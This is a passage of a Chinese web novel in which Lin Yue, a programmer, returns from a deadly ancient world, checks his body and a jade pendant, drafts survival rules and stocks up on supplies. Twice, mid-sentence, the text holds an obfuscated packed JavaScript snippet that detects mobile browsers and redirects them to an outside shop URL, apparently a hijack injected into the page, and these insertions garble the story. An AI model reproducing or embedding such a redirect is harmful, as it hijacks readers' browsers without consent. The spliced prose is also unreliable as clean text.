林越站在人行道上,茫然地环顾四周。大脑像是刚重启的电脑,系统加载缓慢,每个感官信息都需要时间处理。 视觉:晚高峰的车流堵成一片,红色刹车灯连成光带,像一条流淌的岩浆河。街对面是熟悉的711便利店,白色和绿色的招牌在夜色中格外醒目。旁边是他加班的写字楼,23层的窗户还亮着几盏灯——那是他工位所在的楼层,也是项目组其他倒霉蛋还在奋战的地方。 听觉:汽车引擎的轰鸣,喇叭声,远处商场传来的促销广播,711便利店门口“欢迎光临”的电子音,还有自己有些急促的呼吸声。 触觉:塑料袋提手勒着手指,关东煮杯子的温热透过塑料传到掌心。衣服是早上出门时穿的那套——浅蓝色衬衫,黑色休闲裤,左脚鞋带有点松。 嗅觉:关东煮的汤底味,烤肠的油脂香,汽车尾气的刺鼻,还有自己身上淡淡的汗味——在龙语世界十天没洗澡,回到现实世界倒是干净了,但心理上总觉得还有那股泥土和汗水混合的气味残留。 味觉:他下意识舔了舔嘴唇,干燥起皮。口腔里没有任何异常味道,没有龙语世界那种粗茶淡饭的涩味,也没有乱葬岗泥土的腥气。 “五感……正常。”林越喃喃自语,像在给系统做自检报告。 时间:晚上8点47分。地点:公司楼下十字路口。状态:手里提着711的塑料袋,里面是刚买的关东煮(萝卜、魔芋丝、竹轮)和两根烤肠。 一切和他穿越前一模一样。甚至连脚下那块松动的地砖都还在,踩上去会发出轻微的“咔哒”声——上周他就跟物业报修过,到现在还没人来处理。 “我……回来了?” 林越低头看手腕。黑色环痕消失了。没有红痕,没有任何印记,皮肤干干净净,只有长期敲键盘留下的薄茧,在路灯下泛着淡黄色的光泽。 他抬手摸了摸脖子。 平安扣玉坠不在那里。 心里一沉,像是有块石头掉进胃里。他慌忙伸手进口袋——右边裤兜,指尖碰到冰凉光滑的触感。 掏出来。 温润的白色玉石,中间一个小孔,红绳穿过。正是云瑶还给他的那枚玉坠。 但现在它静静地躺在他手心,没有光芒,没有温度,没有在龙语世界时那种若有若无的脉动感,只是一块普通的玉。 “幻觉?”林越喃喃自语,声音干涩,“加班太累产生的幻觉?还是连续熬夜七十二小时终于猝死前的走马灯?” 他捏了捏玉坠,触感真实坚硬。又捏了捏手里的关东煮袋子,塑料纸窸窣作响,热气传到指尖,烫得他微微缩手。 太真实了。 真实到让人恐惧。 可如果是真的,他怎么可能回到穿越前的时间点?他在龙语世界待了至少十天——挖井、救云瑶、通水脉、被杖毙、被斩首、在乱葬岗等死……那些经历历历在目,每一个细节都刻在记忆里,像是用刀子在骨头上刻出来的。 “梦……”林越苦笑,嘴角扯出一个难看的弧度,“哪有梦会这么疼的。” 他记得斩首台上鬼头刀落下的风声,记得刀刃切开脖颈皮肉时的冰凉触感,记得血液喷涌而出时的温热。他记得杖毙时石板硌着骨头的痛,每一杖下去,骨头都在哀嚎,内脏都在震颤。他记得乱葬岗失血过多的冰冷,身体一点点变凉,意识一点点模糊,最后只剩下一片黑暗。 如果这些都是梦,那他的大脑也太有创意了——创意到能模拟出濒死体验的每一个细节,包括痛觉、温度觉、时间感、甚至死亡逼近时的那种绝望。 不,这不可能是梦。 林越深吸一口气,初夏夜晚的空气带着汽车尾气的味道,灌入肺里,有种熟悉的呛人感。他强迫自己冷静下来,像每次线上服务崩掉时那样——先别慌,收集信息,分析问题,找到根因。 程序员的逻辑本能开始接管:验证,确认,排除错误。把问题分解成可执行的步骤,逐一检查,就像调试一段复杂的代码。 第一步:检查自身变化。 林越没有立刻检查手,而是先做了几个简单的动作测试。他需要一个客观的基准。 他抬起右脚,单脚站立——平衡感正常,没有因为穿越而丧失运动协调性。他原地跳了两下,落地时膝盖微微弯曲缓冲——肌肉记忆还在,体重感觉也和以前一样。 然后他抬起双手,掌心向上,借着路灯的光仔细看。 在龙语世界,他干过不少体力活——劈柴、挑水、挖井。虽然现在手看起来很干净,指甲修剪整齐,皮肤白净(常年坐办公室不见阳光的结果),但…… 林越用拇指用力摩擦食指和中指的指腹。 触感不对。 原本长期敲键盘留下的茧主要集中在指关节和手腕内侧。但现在指腹的皮肤明显变粗糙了,有种细微的砂纸感,像是被磨过一样。他翻转手掌,看手背——手背皮肤细腻,和以前一样。 他又仔细检查每个手指的关节。食指和中指的第二个指关节处,似乎多了一层薄薄的茧,位置刚好是握锄头柄时会摩擦到的地方。 “很好。”他自嘲地笑了,但这笑容里带着一丝确认的果断,“在异世界打了十天工,回来发现自己变成了劳动人民。这算工伤吗?找谁报销?社保局接不接跨世界工伤认定?” 他继续检查身体其他部位。 撩起袖子,看小臂——没有新增伤疤,但肌肉线条似乎……紧实了一点?还是心理作用?他捏了捏上臂,确实比记忆中的手感要硬一些。在龙语世界虽然吃得差,但每天体力劳动消耗大,肌肉有所增长也合理。 他又摸了摸脸。下巴上的胡茬长度正常——如果时间真的过去了十天,胡茬应该长得更长才对。但转念一想,也许穿越回来时身体状态被“重置”到了穿越前的样子,只有那些因为劳动而产生的细微变化保留了下来。 “所以系统只保存了经验值,没保存装备磨损?”林越吐槽道,这种将荒诞处境游戏化的比喻,是他保持理智的方式,“这游戏平衡性做得不错啊。” 他放下袖子,整理好衣服。证据一:双手变粗糙,指关节有薄茧,肌肉紧实。这符合在龙语世界干过十天体力活的身体变化。 第二步:检查物品。 玉坠在口袋里,而不是脖子上。这是最直接的证据。 穿越前,这枚玉坠一直挂在他脖子上,是他妈去旅游时在寺庙里求的。他嫌戴脖子上碍事,平时都塞在衣服里,但绝对不会取下来放口袋——红绳的扣子是个复杂的活结,他妈打的,说是“保平安的结不能随便解”。他试过几次想解开换根绳子,都因为太麻烦而放弃。 现在玉坠却在口袋里。 林越把玉坠放在掌心,用指尖细细抚摸。表面光滑温润,和以前一样。但总觉得……哪里不一样。 他把它举到路灯下,眯起眼睛仔细看。玉石内部的纹理确实更清晰了,那些原本模糊的絮状物现在有了更分明的轮廓,像是水中的墨迹慢慢晕开后又凝固的痕迹。颜色也似乎深了一点点,从原本的奶白色变成了更润泽的月白色。 “升级了?”林越自言自语,“打怪掉经验,装备也跟着升级?这玉坠难道是成长型装备?” 他想起在龙语世界,这枚玉坠曾和龙吟共鸣,发出微弱的光芒。现在它安静地躺在手心,没有任何反应。 林越尝试集中精神,像在龙语世界时那样,试图感知玉坠内部的“脉动”。他闭上眼睛,深呼吸,放空思绪…… 什么都没有。 没有共鸣,没有光芒,没有那种奇妙的连接感。玉坠只是一块普通的玉石,冰凉光滑,死气沉沉。 “看来需要特定环境才能激活。”他得出结论,语气平静,像是在记录一个技术发现,“就像某些APP只能在特定国家使用,跨区就锁功能。这防盗版措施做得挺到位。” 他又检查了其他随身物品。 手机在左边裤兜,电量78%,和他记忆中的数值一致。还有一张过期的健身房会员卡——他办了年卡只去了三次,典型的消费主义陷阱。 所有物品都在原位,没有任何异常。 除了玉坠。 玉坠不仅位置变了,本身也发生了微妙的变化。证据二:玉坠从脖子上转移到口袋,且内部纹理更清晰。 “行吧。”他叹了口气,把玉坠小心放回口袋,这个动作里带着一种接受现实的韧性,“就算要造假,也得有点诚意。至少让时间过去几天啊,这样我还能请个年假,去人力资源部哭诉自己加班加到出现穿越幻觉,说不定能骗到几天带薪病假。” 第三步:检查环境。 他走到711便利店门口,透过玻璃窗看向收银台后的电子钟。 日期:和他记忆中的穿越日完全一致。 时间:8点49分,只过了两分钟。 收银员还是那个总在刷短视频的小哥,货架上的商品摆放得整整齐齐,关东煮机咕嘟咕嘟冒着热气。 “先生,需要加热吗?”收银小哥探头问了一句。 “不用,谢谢。”林越下意识回答,声音恢复了平时的平稳。 他退后几步,靠在街边的路灯杆上,脑子飞速运转。 两个可能: 一、龙语世界的一切都是幻觉,是加班过度导致的妄想症。 二、龙语世界是真实的。他确实穿越了,经历了四次轮回,成功通关。而现在他回到了现实世界,时间点恰好是穿越的那一刻。 哪个更合理? 如果是幻觉,那些细节也太丰富了。语言体系、社会结构、人物性格、物理环境……一个疲惫的大脑能凭空构建出如此完整的世界吗?而且他在龙语世界学到的知识——大炎官话的发音、礼法的规则——现在依然清晰印在脑海里。 如果是真实的,那为什么时间没有流逝? “除非……”林越盯着手里的玉坠,“时间流速不同?异世界十天,现实两分钟?这比例也太夸张了,比游戏里的点卡还贵。” 想不通。 他摇摇头,决定先不想了。当务之急是确认现实世界的情况。 他掏出手机——还好,在口袋里。解锁,屏幕亮起,没有未接来电,没有新消息。微信群里同事们还在吐槽项目进度,朋友圈有人晒晚餐,微博热搜还是那些明星八卦。 一切正常。 不,太正常了。 正常得让人不安。 林越收起手机,提着已经有些凉了的关东煮和烤肠,转身朝家的方向走去。脚步平稳,思绪却不停。 二十分钟后,他站在自家门口。玄关的感应灯自动亮起。 林越没有立刻进去。他站在门口,仔细嗅了嗅空气中的味道——没有陌生的气味,没有异常的声音。一切和他早上出门时一样。 他走进去,关上门,反锁。安全感。脆弱的、自欺欺人的安全感。 第一件事:检查所有房间。 卧室,被子没叠,电脑还开着,屏幕上是他写的代码。卫生间,毛巾挂在架子上,牙刷在漱口杯里。厨房,水池里泡着一个碗(昨晚泡的,还没洗)。 没有入侵痕迹,没有异常物品。 第二件事:检查财务。 林越走到电脑前,唤醒屏幕,登录网上银行。 余额:四万三千七百五十二块六毛三。和他记忆中的数字一分不差。 股票账户:持仓三支股票,总市值八万六,今日盈亏-342元。正常波动。 基金账户、支付宝、微信零钱……所有数字都正常。 他松了一口气,又觉得这口气松得有点可笑——如果真有超自然力量能把他扔到古代世界轮回,难道还会贪图他这点存款吗?这就像担心外星人入侵是为了抢你的泡面一样荒谬。 第三件事:联系亲友。 林越点开微信,在家庭群里发了一条:“爸妈,在干嘛呢?” 几分钟后,老妈回复:“看电视呢,你呢?加班完了没?” “刚下班,准备吃东西。” “记得热一下再吃,别吃凉的,对胃不好。” “知道了。” 典型的母子对话,毫无破绽。 他又给几个朋友发了消息。阿强秒回:“在吃鸡,来不来?”小美没回——她可能在洗澡。老张回了条语音,背景音是孩子的哭声:“刚哄孩子睡觉,累死了。” 一切如常。 第四件事:检查身体。 林越脱掉上衣,站在浴室镜子前。镜子里的人瘦削,肋骨隐约可见,长期坐办公室缺乏锻炼的结果。 身上没有新增的伤疤。但在龙语世界受过的伤——如果真的受过,现在也应该痊愈了,不会留下痕迹。 除了手变粗糙了。 他反复看着自己的双手,越看越确定:这不是错觉。指腹的皮肤厚度、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119402|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纹理、甚至某些细微的疤痕位置,都和他记忆中的手不一样。 这双手挖过土,搬过石头,握过锄头。 这双手在龙语世界存在过。 林越靠在洗手台上,长长地、缓缓地吐出一口气,像是要把胸口的郁结都排出去。 证据不足,但直觉已经做出了判断。 不是梦。 不是幻觉。 龙语世界是真实的。他穿越了,死过三次,最后通关回来了。而现在,他回到了现实世界,时间点恰好是穿越的那一刻。 为什么? 不知道。 接下来会发生什么? 也不知道。 但有一点他可以确定:这件事没完。 云瑶那句“下个世界顺利”不是客套话。她知道自己会继续穿越。龙语世界只是开始,是新手教程。现在教程通关了,该进正式服了。 而手腕上消失的黑色环痕……林越抬起左手,对着灯光仔细看。皮肤光滑,没有任何印记。 下一个世界,他可能只有三条命。 不能赌会再次有额外黑色命,更不能赌没有或黑色消失后会出现什么结果。 林越走回客厅,把已经彻底凉透的关东煮和烤肠放在茶几上。他不想吃,没胃口,但也没有浪费食物的打算,只是暂时搁置。 他坐在沙发上,盯着天花板,脑子里开始复盘,像在复盘一个刚上线的、问题百出的项目。 龙语世界的疑点太多了: 黑水组织的目的到底是什么?包子铺老板的账本为什么用疑似龙语的文字?云瑶为什么知道他是穿越者?玉坠为什么能和龙吟共鸣?轮回机制是谁设计的? 这些问题在龙语世界没找到答案,现在回到现实世界,更找不到答案。 但林越有一种强烈的预感:这些谜团不会永远埋藏。它们会以某种方式,在某个时间,再次浮现。 而他要做的,就是做好准备。 他看了一眼手机时间:晚上9点30分。 该洗澡了,该睡觉了,明天还要上班。 想到上班,林越心里涌起一股荒谬感。明天早上九点,他要开站会,要汇报进度,要写代码,要应付产品经理的傻逼需求。而在另一个维度,他刚刚经历了四次生死轮回。 “很好。”他对自己说,语气里带着一种近乎顽强的自嘲,“明天开会的时候,我可以跟产品经理说:你这个需求啊,比我上次被斩首的那个需求还不合理。” 黑色幽默。这是他新学会的心理防御机制,也是一种武器,用来切割现实与荒诞之间的距离。 但林越知道,他今晚睡不着。脑子里信息太多,像是一台过载的服务器。 他起身走到书架前,抽出一本笔记本——以前用来记工作笔记的,还剩一大半空白。 翻开第一页,他拿起笔,写下标题: 《轮回记录与生存指南》 然后开始整理。像写项目文档一样,有条理、有结构、有重点。 从龙语世界的四次轮回开始,每一个死亡原因,每一个关键发现,每一个学到的规则,每一个未解的谜题。 他写得很详细,甚至画了简单的流程图,标注了关键节点和风险点。 写到凌晨一点,手腕酸了,眼睛干了。他停下来,看着密密麻麻的纸页。 这不是梦的记录。 这是生存的蓝图。 林越合上笔记本,走到窗前,拉开窗帘。 城市的夜景依旧璀璨,车流如织,霓虹闪烁。 一切都那么熟悉,又那么陌生。 他摸了摸口袋里的玉坠,冰凉光滑。 “下个世界……”他低声重复云瑶的话,“会顺利吗?” 不知道。 但他知道一件事:无论下一个世界是什么,他都不会再像第一次穿越时那样慌乱、那样被动。 他已经死过三次了。 他知道死亡的滋味。 他也知道,想要活下去,光靠谨慎不够,光靠运气不够,光靠道德底线也不够。 他需要信息,需要计划,需要随时做好进入另一个世界的准备。 林越回到卧室,打开衣柜。他找出一个黑色的双肩包,是去年公司团建发的纪念品,质量一般但容量够大。 他坐在床边,开始往里面装东西,每装一样都要思考一下理由——不是随便塞,而是有策略地选择,像一个在准备未知远征的士兵。 充电宝和数据线:现代人的生命线,无论到什么世界,有电就有安全感。他选了那个两万毫安的大容量充电宝,虽然重,但耐用。“希望下一个世界有USB接口,”他自嘲,“没有的话我就把它当板砖用,防身。” 便携式水壶:不锈钢材质,保温效果好。在龙语世界他深刻体会到干净水源的重要性,下次穿越可能没那么好运遇到本地向导。 压缩饼干:他翻箱倒柜找出两包,是上次去爬山买的,过期还有三个月。口感像啃墙皮,但热量高,易保存。“总比饿死强。” 多功能工具刀:有刀、剪刀、开瓶器、螺丝刀等十几种功能。在龙语世界,有把刀能解决很多问题——切食物、防身、甚至当工具用。 急救包:里面是碘伏棉签、创可贴、纱布、止痛药、肠胃药。他特意多放了几片抗生素——在缺乏现代医疗的世界,感染可能比外伤更致命。 手电筒:强光LED,防水防摔。他试了试,光线刺眼。“下次被追杀的时候,可以晃瞎追兵的眼睛,然后大喊‘你闪到我的狗眼了!’趁机逃跑。” 打火机:一次性打火机,他放了三个。在龙语世界生火是个技术活,下次他要带作弊器。 现金:他抽了十张百元大钞,卷起来用橡皮筋扎好。“万一穿越到近现代背景的世界,人民币说不定能用。” 最后是那本刚写完的《轮回记录与生存指南》。他小心地放进去,用塑料袋包好防水。 玉坠也放了进去,用一个小布袋装好,塞在背包最内侧的夹层里。 包不重,大概五六公斤,但装满了生存必需品。他背上试了试,肩带调整合适,不影响活动。 然后他躺上床,闭上眼睛。 睡眠不会马上来,但他需要休息。 因为明天—— 明天可能一切如常,上班、加班、回家,重复过去三百六十五天的生活。 也可能,下一秒他就会再次穿越,进入一个完全陌生的世界,面对未知的规则和死亡陷阱。 而他要做的,就是等待。 并准备好。 在彻底沉入睡眠前,林越最后想的是:如果真的要再次穿越,希望至少让我把明天早上的站会开完再走。 这个念头很荒诞。 但荒诞,正是他现在生活的底色。 17. 清醒等待 早晨七点半的闹钟准时响起。 一段轻快的钢琴曲——某款解谜游戏的背景音乐。林越以前觉得这音乐能唤醒脑子,现在只觉得讽刺:他正在经历的,不就是一场真实到可怕的解谜游戏吗?只不过失败惩罚是死亡,而且没有存档点。 他睁开眼睛,盯着天花板看了三秒。那道熟悉的裂纹还在,从墙角延伸到中央,像地图上的一条河流。 “至少证明这个世界是连续的。”他自嘲,“时间在正常流动,房东还是没修屋顶。” 伸手关掉闹钟。 没有穿越。 没有异常。 没有突然消失的房间,没有陌生的天花板,没有手腕上出现红痕。一切如常,正常得让人不安。 他坐起身,床垫弹簧吱呀作响。第一件事是摸向床头柜。 双肩包还在。触感扎实,分量不轻——昨晚装进去的东西都在。 第二件事是摸口袋。 睡衣没有口袋。他愣了一下,翻身下床,从椅子的裤子里掏出那个小绒布袋。打开,玉坠静静躺在里面,冰凉光滑。 第三件事是看手腕。 皮肤光滑,没有红痕,没有黑痕,没有任何印记。他抬起左手,对着阳光仔细看,甚至用手指用力摩擦皮肤——除了正常的皮肤纹理,什么都没有。 “还在现实世界。”林越低声自语,语气里分辨不出是庆幸还是失望,“新手保护期彻底结束?还是说……这就是终点站?” 他下床,洗漱,换衣服。镜子里的人看起来和昨天没什么不同,除了眼睛底下有黑眼圈——昨晚没睡好,脑子里反复复盘龙语世界的细节,像放电影一样。 但精神意外地清醒。不是睡眠充足的那种清醒,而是过度刺激后的亢奋,像是喝了三杯浓缩咖啡。 那种感觉很奇怪:明明经历了一场超自然的穿越和死亡轮回,现在却要像没事人一样去上班,开站会,写代码,应付产品经理的傻逼需求。 “就像加班到凌晨三点回家,睡了四个小时又要来开早会。”林越对着镜子扯了扯嘴角,“只不过上次加班要钱,这次穿越要命。” 洗漱完毕,他没有立刻出门,而是坐在书桌前,翻开昨晚写的《轮回记录与生存指南》。 笔记本摊开,纸页上密密麻麻的文字: 第一次死亡:语言陷阱,被当北狄奸细,乱葬岗遗弃。 第二次死亡:沉默陷阱,被定不敬之罪,杖毙。 第三次死亡:禁忌陷阱,误说“龙”字,斩首。 第四次轮回:成功通关,救云瑶、解干旱、通水脉。 以及—— 未解谜题清单: 1.黑水组织的目的? 2.包子铺老板的真实身份? 3.云瑶为什么知道“下个世界顺利”? 4.玉坠的秘密? 5.轮回机制是谁设计的? 问题很多,答案一个都没有。 但林越并不焦虑。程序员的工作习惯让他习惯了面对未知:先列出问题,再收集数据,最后分析解决。现在他处于“收集数据”阶段,信息不足是正常的。 他合上笔记本,开始思考更实际的问题: 如果再次穿越,会遇到什么样的世界? 龙语世界是古代社会,核心陷阱是语言、礼法、禁忌。那下一个世界呢? 根据常见的无限流套路,可能是未来世界、末世世界、奇幻世界、科幻世界……什么都有可能。 但林越怀疑,这些世界的选择可能不是随机的。龙语世界有个明显的主题:规则。语言的规则、礼法的规则、社会的规则。你触犯规则,你就死。 那么下一个世界,很可能也围绕着某种“规则”展开。只是规则的内容会变。 “信息。”林越在纸上写下这个词,“我需要更多信息,关于穿越机制,关于其他世界的可能形态。” 他打开电脑,在搜索框输入关键词:“穿越”、“无限流”、“轮回”、“规则怪谈”。 按下回车。页面加载,搜索结果铺天盖地。 他花了半个小时浏览,总结出几个常见模式,顺便吐槽: “系统流……有系统界面、任务列表、商城系统。哦,还有积分,可以换技能换装备。这不错啊,至少有个进度条,知道自己离死还有多远。可惜我没有。” “主神空间流……主神光球,轮回小队,恐怖片世界。还要组队?算了,我连公司团建都不想参加,更别说组队去恐怖片里送死了。” “规则怪谈流……这个有点意思。遵循矛盾规则求生,像在玩文字游戏。不过龙语世界的规则也算‘怪谈’吧?不准说‘龙’字,不准沉默,不准直视上官——这些规则放现实世界也挺怪的。” “死亡轮回流……这个最接近。不断死亡回到起点,寻找破局方法。但我这个好像还高级点,不是单纯的时间循环,是不同世界的轮回。就像不是单机游戏,是大型多人在线……虽然目前玩家好像只有我一个。” 他关掉浏览器,靠在椅背上。 “总结一下:我没有系统,没有主神,没有明确任务,没有队友,没有积分商城,没有技能树。我有的只是……三条命,和一个可能会再次把我扔到陌生世界的不知道什么玩意儿。” 他顿了顿,补充道:“哦,还有一个玉坠,但目前看来除了占地方没什么用。” “真是豪华大礼包啊。” 没有系统,没有主神,没有明确任务,没有队友。他只是被动地穿越,被动地死亡,被动地寻找生存方法。 “被动……”林越皱眉,“太被动了。” 在龙语世界,他前三次轮回都是被规则推着走,直到第四次才主动制定计划、主动解决问题。但这还不够。如果下次穿越到一个完全陌生的世界,他没有时间去慢慢摸索规则——可能刚落地就触犯了某个即死规则。 他需要更快地适应,更快地识别陷阱,更快地找到通关方法。 “需要一套方法论。”他自言自语,打开一个新的文档。 标题:《跨世界生存通用准则(草案)》 然后开始写,像写技术文档一样,每条准则后面还加了括号注释——这是他写代码时的习惯: 第一条:观察优先(别像第一次穿越那样,落地就瞎跑,结果因为口音问题被当奸细。先看看周围有没有摄像头、有没有奇怪标语、有没有人拿着刀对你笑。) 第二条:信息收集(语言、文字、科技水平、社会制度、法律禁忌。就像接新项目要先看需求文档,虽然这个“文档”可能藏在NPC的对话里、墙上的公告上,或者某个倒霉蛋的尸体旁边。) 第三条:身份获取(没有身份的人就像没有权限的访客账号,什么也干不了,还容易被系统清理。尽快搞个合法身份,哪怕是临时工、学徒、流浪汉——有身份总比没身份强。) 第四条:资源储备(食物、水、住所、货币、工具。不要指望系统商城,你没有。也不要指望路边捡到神器,那概率比中彩票还低。自己准备好,像程序员随身带充电宝一样。) 第五条:人际关系(独狼难存活。找个本地人当“向导”,但别完全信任——就像别完全信任产品经理的需求一样。保持距离,互惠互利。) 第六条:风险评估(识别三种风险:立即致命风险(触犯即死)、短期风险(几天内死)、长期风险(几周或几个月后死)。优先级:先别立刻死,再别很快死,最后再考虑怎么活久点。) 第七条:道德底线(不主动害人,但也不做圣母。生存是第一要务,但不要为了生存变成怪物——那样即使活下来,也不再是“自己”了。平衡点:在保证自身安全的前提下,尽量不踩过线。) 第八条:心理调节(接受死亡的可能性,但不要放弃求生。保持黑色幽默,用荒诞解构恐惧,防止精神崩溃。方法:把每次死亡想象成游戏里的bad ending,把NPC想成AI,把规则想成bug——虽然这个bug可能会要你的命。) 林越写完八条准则,仔细看了一遍。 太理论化了。纸上谈兵。 真正面对死亡时,这些准则能起多大作用?他不知道。但他需要这些准则,需要一套思维框架来对抗未知带来的恐惧——就像在黑暗中走路,即使手电筒的光只能照亮前方三米,也比完全摸黑强。 他关掉电脑,看了一眼时间:上午十点。今天是周六,不用上班。 但他有更重要的事情要做——把理论变成实践。 林越背上双肩包,出门。 第一站:户外用品店。 店不大,玻璃橱窗里陈列着帐篷、登山杖、冲锋衣。推门进去,风铃“叮咚”响,店里有一股混合着橡胶、帆布和金属的味道。 店员是个年轻小伙子,穿着店里的T恤,正在整理货架。看到林越,笑着问:“先生需要什么?登山还是露营?” “都要一点。”林越说,目光扫过货架,“可能还会遇到……极端天气,还有野生动物。” “那就是全套装备了。”店员热情地介绍,“帐篷要防暴雨的,睡袋要抗寒的,冲锋衣要防风的。最近山区晚上能到零度以下。” 林越心想:我要面对的可能不是零度,而是零下几百度的未知世界,或者几百度的高温炼狱。但他只是点点头:“好,但我要轻便的,容易携带的。” “那就是超轻系列。”店员从货架上拿下几样东西,“这个帐篷,只有两公斤,防水指数5000mm。这个睡袋,压缩后只有篮球大小,保暖到零下三十度。这个冲锋衣……” “等等。”林越打断他,“我先要些更基础的东西。” 他在货架间走动,目标明确:净水片(一盒,够净化50升水)、能量棒(高热量,易携带,保质期长)、防风打火机(镁合金,防潮)、多功能军刀(十八种功能,包括锯子、钳子)、急救毯(锡箔材质,保温)、便携式过滤器(可直饮河水)。 拿到柜台,堆成一小堆。店员一边扫码一边好奇地问:“买这么多基础装备,是要去登山?还是野外生存训练?” “算是吧。”林越说,“去一个……不太友好的地方。可能没有补给点,没有信号,没有救援。” “那可得小心。”店员好心提醒,把东西装进塑料袋,“最近天气多变,有些路段还不稳定。最好结伴去,一个人危险。要不要买个卫星电话?虽然贵点,但关键时刻能救命。” 林越摇摇头:“不用了。”心想:卫星电话可能没用,因为我要去的可能是另一个世界,那里的“卫星”可能不是用来打电话的。 他付了钱,提着塑料袋出门。风铃又“叮咚”响了一声。 走到街上,他看了看手里的东西,自嘲:“净水片、能量棒、打火机……就差一把瑞士军刀,我就是标准的末日生存爱好者了。不过别人是为了应对丧尸爆发,我是为了应对……世界爆发。” 第二站:书店。 大型连锁书店,三层楼,周末上午人不少。空气里弥漫着油墨和纸张的味道。 林越直奔实用类书架,不是文学,不是小说,不是鸡汤,而是实实在在的生存知识: 《野外生存手册》(图文版,详细讲解取火、净水、搭建庇护所) 《急救知识图解》(心肺复苏、止血包扎、骨折固定) 《全球语言入门》(五十种常用语言的问候语和基础词汇) 《世界宗教简史》(了解主流宗教的禁忌和礼仪) 《基础物理学》(重力、浮力、简单机械原理) 《常见毒物识别》(植物、动物、化学毒物) 他抱着一摞书去结账,沉甸甸的。收银员是个戴眼镜的姑娘,一边扫码一边多看了他两眼。 “要袋子吗?”她问。 “要,大的。”林越说。书太多,手拿不了。 “您这是……要去周游世界?”收银员忍不住问。 “差不多吧。”林越说,“先预习一下。” “那祝您旅途愉快。”收银员把书装进大塑料袋。 林越提着袋子走出书店,心想:旅途愉快?希望吧。只要别一落地就死,就算愉快了。 第三站:超市。 大型仓储超市,周末人山人海,推车碰撞声、小孩哭闹声、促销喇叭声混在一起。 林越推着购物车,在货架间快速穿梭,目标明确: 真空包装的肉类(牛肉干、猪肉脯,高蛋白,耐储存)压缩饼干(军用款,热量高,体积小)巧克力(黑巧克力,快速补充能量)维生素片(综合维生素,预防营养不良)瓶装水(六瓶,先应急) 他拿东西的速度很快,像在完成一项任务。旁边一个大妈好奇地看着他:“小伙子,买这么多,是要去露营?” “对,露营。”林越敷衍道。 “露营好啊,亲近大自然。”大妈热情地说,“我儿子也喜欢露营,不过他每次都带一大堆东西,帐篷、烧烤架、音响……你们年轻人啊,就是会玩。” 林越点点头,推着车快速离开。心想:我这不是去玩,是去玩命。而且玩的是自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119403|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命。 结账时,他特意选了人工通道,避免自助结账的电子记录——虽然可能没什么用,现在到处都是摄像头,但小心点总没错。这是一种心理上的抵抗,虽然微弱,但至少证明他还有选择的意识。 收银员是个中年阿姨,一边扫码一边说:“这么多吃的,要去几天啊?” “不确定。”林越说,“可能几天,可能……更久。” “那得多带点。”阿姨好心地说,“野外天气变化大,注意安全啊。” “谢谢。”林越付了钱,提着两大袋东西走出超市。 下午两点的阳光刺眼,他站在超市门口,看着手里的三个大袋子——户外用品、书、食物。突然觉得有点荒谬。 “别人周末去逛街、看电影、吃火锅。”他自嘲,“我周末在准备应对世界末日,或者世界穿越。这算不算另一种形式的宅?” 下午两点,林越回到家,把买回来的东西摊在客厅地上,开始整理。 背包主仓:书、压缩饼干、真空肉类、水。前袋:急救包、净水片、能量棒、维生素片。侧袋:多功能军刀、防风打火机、手电筒。贴身口袋:玉坠、现金、笔记本。 每样东西都检查一遍:保质期、包装完整性、功能是否正常。 整理完毕,背包更重了,但他背得动。在龙语世界挖了几天井,体力比之前好不少——这算是穿越带来的唯一好处。 他把包放在门口鞋柜旁,随时可以拎起来走。然后坐在沙发上,开始思考一个更根本的问题: 穿越的触发条件是什么? 在龙语世界,他是在加班后回家的路上,拿着关东煮和烤肠,突然就穿越了。没有预兆,没有仪式,没有特殊事件。 那下一次穿越,会在什么时候发生? 随时可能。也可能永远不会。 “等待是最煎熬的。”林越想起以前等测试结果的时候,明知道代码大概率有bug,但又不能提前修改,只能干等。现在也是,他知道穿越可能随时发生,但又不能主动触发,只能被动等待。 但他不喜欢被动。 他需要做一些能主动控制的事情,哪怕只是象征性的。 比如,测试。 林越拿起玉坠,那个小绒布袋。倒出玉坠,温润的白色玉石躺在掌心。 “你到底是什么?”他轻声问。 玉坠当然不会回答。 他尝试用各种方法“激活”玉坠: 对着它说大炎官话:“恰饭”“饮汤”“眠觉”。摩擦,泡水,放在阳光下暴晒。甚至用针扎破指尖,滴血上去——很疼,而且没用。 没有任何反应。 玉坠就是一块玉。在现实世界,它没有特殊功能,没有隐藏属性。 但林越不信。如果它真的只是一块普通的玉,为什么会在龙语世界有特殊反应?为什么云瑶要特意还给他?为什么它从脖子跑到了口袋? “信息不足。”他放下玉坠,“继续观察。” 接下来几个小时,林越做了几件事: 身体检查:详细记录自己身体的每一个变化。除了手变粗糙了,其他似乎都正常。 技能复习:复习在龙语世界学到的技能。大炎官话的发音,礼法的基本规则,挖井的土办法,以及最重要的:死亡的经验。 心理准备:反复告诉自己:下次穿越可能会更危险,可能会死得更快,可能会面对完全无法理解的规则。但不要慌,慌张解决不了问题。 到晚上七点,天黑了。 林越打开灯,坐在书桌前,看着窗外逐渐亮起的万家灯火。 这座城市有上千万人,每个人都在过着自己的生活。没有人知道,他们中间有一个人曾经死过三次,现在正在等待第四次可能的死亡。 这种感觉很孤独。 但林越习惯了孤独。程序员的工作本来就是孤独的:面对屏幕,敲打键盘,解决一个又一个没人理解的技术问题。 